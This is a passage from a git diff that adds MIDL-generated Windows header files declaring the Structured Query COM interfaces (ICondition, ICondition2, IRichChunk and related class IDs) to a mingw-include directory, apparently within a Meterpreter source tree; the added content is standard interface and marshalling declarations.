+class DECLSPEC_UUID("B72F8FD8-0FAB-4dd9-BDBF-245A6CE1485B")
+QueryParser;
+#endif
+
+EXTERN_C const CLSID CLSID_NegationCondition;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("8DE9C74C-605A-4acd-BEE3-2B222AA2D23D")
+NegationCondition;
+#endif
+
+EXTERN_C const CLSID CLSID_CompoundCondition;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("116F8D13-101E-4fa5-84D4-FF8279381935")
+CompoundCondition;
+#endif
+
+EXTERN_C const CLSID CLSID_LeafCondition;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("52F15C89-5A17-48e1-BBCD-46A3F89C7CC2")
+LeafCondition;
+#endif
+
+EXTERN_C const CLSID CLSID_ConditionFactory;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("E03E85B0-7BE3-4000-BA98-6C13DE9FA486")
+ConditionFactory;
+#endif
+
+EXTERN_C const CLSID CLSID_Interval;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("D957171F-4BF9-4de2-BCD5-C70A7CA55836")
+Interval;
+#endif
+
+EXTERN_C const CLSID CLSID_QueryParserManager;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("5088B39A-29B4-4d9d-8245-4EE289222F66")
+QueryParserManager;
+#endif
+#endif /* __StructuredQuery1_LIBRARY_DEFINED__ */
+
+/* interface __MIDL_itf_structuredquery_0000_0016 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0016_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0016_v0_0_s_ifspec;
+
+/* Additional Prototypes for ALL interfaces */
+
+unsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); 
+void                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); 
+
+unsigned long             __RPC_USER  LPSAFEARRAY_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * ); 
+void                      __RPC_USER  LPSAFEARRAY_UserFree(     __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * ); 
+
+unsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); 
+void                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); 
+
+unsigned long             __RPC_USER  LPSAFEARRAY_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * ); 
+void                      __RPC_USER  LPSAFEARRAY_UserFree64(     __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * ); 
+
+/* end of Additional Prototypes */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+
+
diff --git a/c/meterpreter/source/mingw-include/structuredquerycondition.h b/c/meterpreter/source/mingw-include/structuredquerycondition.h
new file mode 100644
index 00000000..342b9dcb
--- /dev/null
+++ b/c/meterpreter/source/mingw-include/structuredquerycondition.h
@@ -0,0 +1,770 @@
+
+
+/* this ALWAYS GENERATED file contains the definitions for the interfaces */
+
+
+ /* File created by MIDL compiler version 8.01.0622 */
+/* @@MIDL_FILE_HEADING(  ) */
+
+
+
+/* verify that the <rpcndr.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCNDR_H_VERSION__
+#define __REQUIRED_RPCNDR_H_VERSION__ 500
+#endif
+
+/* verify that the <rpcsal.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCSAL_H_VERSION__
+#define __REQUIRED_RPCSAL_H_VERSION__ 100
+#endif
+
+#include "rpc.h"
+#include "rpcndr.h"
+
+#ifndef __RPCNDR_H_VERSION__
+#error this stub requires an updated version of <rpcndr.h>
+#endif /* __RPCNDR_H_VERSION__ */
+
+#ifndef COM_NO_WINDOWS_H
+#include "windows.h"
+#include "ole2.h"
+#endif /*COM_NO_WINDOWS_H*/
+
+#ifndef __structuredquerycondition_h__
+#define __structuredquerycondition_h__
+
+#if defined(_MSC_VER) && (_MSC_VER >= 1020)
+#pragma once
+#endif
+
+/* Forward Declarations */ 
+
+#ifndef __IRichChunk_FWD_DEFINED__
+#define __IRichChunk_FWD_DEFINED__
+typedef interface IRichChunk IRichChunk;
+
+#endif 	/* __IRichChunk_FWD_DEFINED__ */
+
+
+#ifndef __ICondition_FWD_DEFINED__
+#define __ICondition_FWD_DEFINED__
+typedef interface ICondition ICondition;
+
+#endif 	/* __ICondition_FWD_DEFINED__ */
+
+
+#ifndef __ICondition2_FWD_DEFINED__
+#define __ICondition2_FWD_DEFINED__
+typedef interface ICondition2 ICondition2;
+
+#endif 	/* __ICondition2_FWD_DEFINED__ */
+
+
+/* header files for imported files */
+#include "oaidl.h"
+#include "ocidl.h"
+#include "propidl.h"
+
+#ifdef __cplusplus
+extern "C"{
+#endif 
+
+
+/* interface __MIDL_itf_structuredquerycondition_0000_0000 */
+/* [local] */ 
+
+#include <winapifamily.h>
+typedef /* [v1_enum] */ 
+enum tagCONDITION_TYPE
+    {
+        CT_AND_CONDITION	= 0,
+        CT_OR_CONDITION	= ( CT_AND_CONDITION + 1 ) ,
+        CT_NOT_CONDITION	= ( CT_OR_CONDITION + 1 ) ,
+        CT_LEAF_CONDITION	= ( CT_NOT_CONDITION + 1 ) 
+    } 	CONDITION_TYPE;
+
+typedef /* [v1_enum] */ 
+enum tagCONDITION_OPERATION
+    {
+        COP_IMPLICIT	= 0,
+        COP_EQUAL	= ( COP_IMPLICIT + 1 ) ,
+        COP_NOTEQUAL	= ( COP_EQUAL + 1 ) ,
+        COP_LESSTHAN	= ( COP_NOTEQUAL + 1 ) ,
+        COP_GREATERTHAN	= ( COP_LESSTHAN + 1 ) ,
+        COP_LESSTHANOREQUAL	= ( COP_GREATERTHAN + 1 ) ,
+        COP_GREATERTHANOREQUAL	= ( COP_LESSTHANOREQUAL + 1 ) ,
+        COP_VALUE_STARTSWITH	= ( COP_GREATERTHANOREQUAL + 1 ) ,
+        COP_VALUE_ENDSWITH	= ( COP_VALUE_STARTSWITH + 1 ) ,
+        COP_VALUE_CONTAINS	= ( COP_VALUE_ENDSWITH + 1 ) ,
+        COP_VALUE_NOTCONTAINS	= ( COP_VALUE_CONTAINS + 1 ) ,
+        COP_DOSWILDCARDS	= ( COP_VALUE_NOTCONTAINS + 1 ) ,
+        COP_WORD_EQUAL	= ( COP_DOSWILDCARDS + 1 ) ,
+        COP_WORD_STARTSWITH	= ( COP_WORD_EQUAL + 1 ) ,
+        COP_APPLICATION_SPECIFIC	= ( COP_WORD_STARTSWITH + 1 ) 
+    } 	CONDITION_OPERATION;
+
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0000_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0000_v0_0_s_ifspec;
+
+#ifndef __IRichChunk_INTERFACE_DEFINED__
+#define __IRichChunk_INTERFACE_DEFINED__
+
+/* interface IRichChunk */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IRichChunk;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("4FDEF69C-DBC9-454e-9910-B34F3C64B510")
+    IRichChunk : public IUnknown
+    {
+    public:
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetData( 
+            /* [annotation][unique][out] */ 
+            _Out_opt_  ULONG *pFirstPos,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  ULONG *pLength,
+            /* [annotation][unique][out] */ 
+            _Outptr_opt_result_maybenull_  LPWSTR *ppsz,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  PROPVARIANT *pValue) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IRichChunkVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IRichChunk * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IRichChunk * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IRichChunk * This);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetData )( 
+            IRichChunk * This,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  ULONG *pFirstPos,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  ULONG *pLength,
+            /* [annotation][unique][out] */ 
+            _Outptr_opt_result_maybenull_  LPWSTR *ppsz,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  PROPVARIANT *pValue);
+        
+        END_INTERFACE
+    } IRichChunkVtbl;
+
+    interface IRichChunk
+    {
+        CONST_VTBL struct IRichChunkVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IRichChunk_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IRichChunk_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IRichChunk_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IRichChunk_GetData(This,pFirstPos,pLength,ppsz,pValue)	\
+    ( (This)->lpVtbl -> GetData(This,pFirstPos,pLength,ppsz,pValue) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE IRichChunk_RemoteGetData_Proxy( 
+    __RPC__in IRichChunk * This,
+    /* [out] */ __RPC__out ULONG *pFirstPos,
+    /* [out] */ __RPC__out ULONG *pLength,
+    /* [out] */ __RPC__deref_out_opt LPWSTR *ppsz,
+    /* [out] */ __RPC__out PROPVARIANT *pValue);
+
+
+void __RPC_STUB IRichChunk_RemoteGetData_Stub(
+    IRpcStubBuffer *This,
+    IRpcChannelBuffer *_pRpcChannelBuffer,
+    PRPC_MESSAGE _pRpcMessage,
+    DWORD *_pdwStubPhase);
+
+
+
+#endif 	/* __IRichChunk_INTERFACE_DEFINED__ */
+
+
+#ifndef __ICondition_INTERFACE_DEFINED__
+#define __ICondition_INTERFACE_DEFINED__
+
+/* interface ICondition */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ICondition;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("0FC988D4-C935-4b97-A973-46282EA175C8")
+    ICondition : public IPersistStream
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetConditionType( 
+            /* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetSubConditions( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetComparisonInfo( 
+            /* [annotation][unique][out] */ 
+            _Outptr_opt_result_maybenull_  LPWSTR *ppszPropertyName,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  CONDITION_OPERATION *pcop,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  PROPVARIANT *ppropvar) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetValueType( 
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetValueNormalization( 
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetInputTerms( 
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppPropertyTerm,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppOperationTerm,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppValueTerm) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Clone( 
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppc) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IConditionVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ICondition * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ICondition * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ICondition * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetClassID )( 
+            __RPC__in ICondition * This,
+            /* [out] */ __RPC__out CLSID *pClassID);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDirty )( 
+            __RPC__in ICondition * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Load )( 
+            __RPC__in ICondition * This,
+            /* [unique][in] */ __RPC__in_opt IStream *pStm);
+        
+        HRESULT ( STDMETHODCALLTYPE *Save )( 
+            __RPC__in ICondition * This,
+            /* [unique][in] */ __RPC__in_opt IStream *pStm,
+            /* [in] */ BOOL fClearDirty);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSizeMax )( 
+            __RPC__in ICondition * This,
+            /* [out] */ __RPC__out ULARGE_INTEGER *pcbSize);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetConditionType )( 
+            __RPC__in ICondition * This,
+            /* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSubConditions )( 
+            __RPC__in ICondition * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetComparisonInfo )( 
+            ICondition * This,
+            /* [annotation][unique][out] */ 
+            _Outptr_opt_result_maybenull_  LPWSTR *ppszPropertyName,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  CONDITION_OPERATION *pcop,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  PROPVARIANT *ppropvar);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetValueType )( 
+            __RPC__in ICondition * This,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetValueNormalization )( 
+            __RPC__in ICondition * This,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetInputTerms )( 
+            ICondition * This,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppPropertyTerm,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppOperationTerm,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppValueTerm);
+        
+        HRESULT ( STDMETHODCALLTYPE *Clone )( 
+            __RPC__in ICondition * This,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppc);
+        
+        END_INTERFACE
+    } IConditionVtbl;
+
+    interface ICondition
+    {
+        CONST_VTBL struct IConditionVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ICondition_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ICondition_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ICondition_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ICondition_GetClassID(This,pClassID)	\
+    ( (This)->lpVtbl -> GetClassID(This,pClassID) ) 
+
+
+#define ICondition_IsDirty(This)	\
+    ( (This)->lpVtbl -> IsDirty(This) ) 
+
+#define ICondition_Load(This,pStm)	\
+    ( (This)->lpVtbl -> Load(This,pStm) ) 
+
+#define ICondition_Save(This,pStm,fClearDirty)	\
+    ( (This)->lpVtbl -> Save(This,pStm,fClearDirty) ) 
+
+#define ICondition_GetSizeMax(This,pcbSize)	\
+    ( (This)->lpVtbl -> GetSizeMax(This,pcbSize) ) 
+
+
+#define ICondition_GetConditionType(This,pNodeType)	\
+    ( (This)->lpVtbl -> GetConditionType(This,pNodeType) ) 
+
+#define ICondition_GetSubConditions(This,riid,ppv)	\
+    ( (This)->lpVtbl -> GetSubConditions(This,riid,ppv) ) 
+
+#define ICondition_GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar)	\
+    ( (This)->lpVtbl -> GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) ) 
+
+#define ICondition_GetValueType(This,ppszValueTypeName)	\
+    ( (This)->lpVtbl -> GetValueType(This,ppszValueTypeName) ) 
+
+#define ICondition_GetValueNormalization(This,ppszNormalization)	\
+    ( (This)->lpVtbl -> GetValueNormalization(This,ppszNormalization) ) 
+
+#define ICondition_GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm)	\
+    ( (This)->lpVtbl -> GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) ) 
+
+#define ICondition_Clone(This,ppc)	\
+    ( (This)->lpVtbl -> Clone(This,ppc) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_RemoteGetComparisonInfo_Proxy( 
+    __RPC__in ICondition * This,
+    /* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
+    /* [out] */ __RPC__out CONDITION_OPERATION *pcop,
+    /* [out] */ __RPC__out PROPVARIANT *ppropvar);
+
+
+void __RPC_STUB ICondition_RemoteGetComparisonInfo_Stub(
+    IRpcStubBuffer *This,
+    IRpcChannelBuffer *_pRpcChannelBuffer,
+    PRPC_MESSAGE _pRpcMessage,
+    DWORD *_pdwStubPhase);
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_RemoteGetInputTerms_Proxy( 
+    __RPC__in ICondition * This,
+    /* [out] */ __RPC__deref_out_opt IRichChunk **ppPropertyTerm,
+    /* [out] */ __RPC__deref_out_opt IRichChunk **ppOperationTerm,
+    /* [out] */ __RPC__deref_out_opt IRichChunk **ppValueTerm);
+
+
+void __RPC_STUB ICondition_RemoteGetInputTerms_Stub(
+    IRpcStubBuffer *This,
+    IRpcChannelBuffer *_pRpcChannelBuffer,
+    PRPC_MESSAGE _pRpcMessage,
+    DWORD *_pdwStubPhase);
+
+
+
+#endif 	/* __ICondition_INTERFACE_DEFINED__ */
+
+
+#ifndef __ICondition2_INTERFACE_DEFINED__
+#define __ICondition2_INTERFACE_DEFINED__
+
+/* interface ICondition2 */
+/* [unique][object][uuid] */ 
+
+
+EXTERN_C const IID IID_ICondition2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("0DB8851D-2E5B-47eb-9208-D28C325A01D7")
+    ICondition2 : public ICondition
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetLocale( 
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszLocaleName) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetLeafConditionInfo( 
+            /* [annotation][out] */ 
+            _Out_opt_  PROPERTYKEY *ppropkey,
+            /* [annotation][out] */ 
+            _Out_opt_  CONDITION_OPERATION *pcop,
+            /* [annotation][out] */ 
+            _Out_opt_  PROPVARIANT *ppropvar) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ICondition2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ICondition2 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ICondition2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ICondition2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetClassID )( 
+            __RPC__in ICondition2 * This,
+            /* [out] */ __RPC__out CLSID *pClassID);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDirty )( 
+            __RPC__in ICondition2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Load )( 
+            __RPC__in ICondition2 * This,
+            /* [unique][in] */ __RPC__in_opt IStream *pStm);
+        
+        HRESULT ( STDMETHODCALLTYPE *Save )( 
+            __RPC__in ICondition2 * This,
+            /* [unique][in] */ __RPC__in_opt IStream *pStm,
+            /* [in] */ BOOL fClearDirty);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSizeMax )( 
+            __RPC__in ICondition2 * This,
+            /* [out] */ __RPC__out ULARGE_INTEGER *pcbSize);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetConditionType )( 
+            __RPC__in ICondition2 * This,
+            /* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSubConditions )( 
+            __RPC__in ICondition2 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetComparisonInfo )( 
+            ICondition2 * This,
+            /* [annotation][unique][out] */ 
+            _Outptr_opt_result_maybenull_  LPWSTR *ppszPropertyName,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  CONDITION_OPERATION *pcop,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  PROPVARIANT *ppropvar);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetValueType )( 
+            __RPC__in ICondition2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetValueNormalization )( 
+            __RPC__in ICondition2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetInputTerms )( 
+            ICondition2 * This,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppPropertyTerm,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppOperationTerm,
+            /* [annotation][unique][out] */ 
+            _Out_opt_  IRichChunk **ppValueTerm);
+        
+        HRESULT ( STDMETHODCALLTYPE *Clone )( 
+            __RPC__in ICondition2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppc);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetLocale )( 
+            __RPC__in ICondition2 * This,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszLocaleName);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetLeafConditionInfo )( 
+            ICondition2 * This,
+            /* [annotation][out] */ 
+            _Out_opt_  PROPERTYKEY *ppropkey,
+            /* [annotation][out] */ 
+            _Out_opt_  CONDITION_OPERATION *pcop,
+            /* [annotation][out] */ 
+            _Out_opt_  PROPVARIANT *ppropvar);
+        
+        END_INTERFACE
+    } ICondition2Vtbl;
+
+    interface ICondition2
+    {
+        CONST_VTBL struct ICondition2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ICondition2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ICondition2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ICondition2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ICondition2_GetClassID(This,pClassID)	\
+    ( (This)->lpVtbl -> GetClassID(This,pClassID) ) 
+
+
+#define ICondition2_IsDirty(This)	\
+    ( (This)->lpVtbl -> IsDirty(This) ) 
+
+#define ICondition2_Load(This,pStm)	\
+    ( (This)->lpVtbl -> Load(This,pStm) ) 
+
+#define ICondition2_Save(This,pStm,fClearDirty)	\
+    ( (This)->lpVtbl -> Save(This,pStm,fClearDirty) ) 
+
+#define ICondition2_GetSizeMax(This,pcbSize)	\
+    ( (This)->lpVtbl -> GetSizeMax(This,pcbSize) ) 
+
+
+#define ICondition2_GetConditionType(This,pNodeType)	\
+    ( (This)->lpVtbl -> GetConditionType(This,pNodeType) ) 
+
+#define ICondition2_GetSubConditions(This,riid,ppv)	\
+    ( (This)->lpVtbl -> GetSubConditions(This,riid,ppv) ) 
+
+#define ICondition2_GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar)	\
+    ( (This)->lpVtbl -> GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) ) 
+
+#define ICondition2_GetValueType(This,ppszValueTypeName)	\
+    ( (This)->lpVtbl -> GetValueType(This,ppszValueTypeName) ) 
+
+#define ICondition2_GetValueNormalization(This,ppszNormalization)	\
+    ( (This)->lpVtbl -> GetValueNormalization(This,ppszNormalization) ) 
+
+#define ICondition2_GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm)	\
+    ( (This)->lpVtbl -> GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) ) 
+
+#define ICondition2_Clone(This,ppc)	\
+    ( (This)->lpVtbl -> Clone(This,ppc) ) 
+
+
+#define ICondition2_GetLocale(This,ppszLocaleName)	\
+    ( (This)->lpVtbl -> GetLocale(This,ppszLocaleName) ) 
+
+#define ICondition2_GetLeafConditionInfo(This,ppropkey,pcop,ppropvar)	\
+    ( (This)->lpVtbl -> GetLeafConditionInfo(This,ppropkey,pcop,ppropvar) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition2_RemoteGetLeafConditionInfo_Proxy( 
+    __RPC__in ICondition2 * This,
+    /* [out] */ __RPC__out PROPERTYKEY *ppropkey,
+    /* [out] */ __RPC__out CONDITION_OPERATION *pcop,
+    /* [out] */ __RPC__out PROPVARIANT *ppropvar);
+
+
+void __RPC_STUB ICondition2_RemoteGetLeafConditionInfo_Stub(
+    IRpcStubBuffer *This,
+    IRpcChannelBuffer *_pRpcChannelBuffer,
+    PRPC_MESSAGE _pRpcMessage,
+    DWORD *_pdwStubPhase);
+
+
+
+#endif 	/* __ICondition2_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_structuredquerycondition_0000_0003 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0003_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0003_v0_0_s_ifspec;
+
+/* Additional Prototypes for ALL interfaces */
+
+unsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); 
+void                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); 
+
+unsigned long             __RPC_USER  LPSAFEARRAY_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * ); 
+void                      __RPC_USER  LPSAFEARRAY_UserFree(     __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * ); 
+
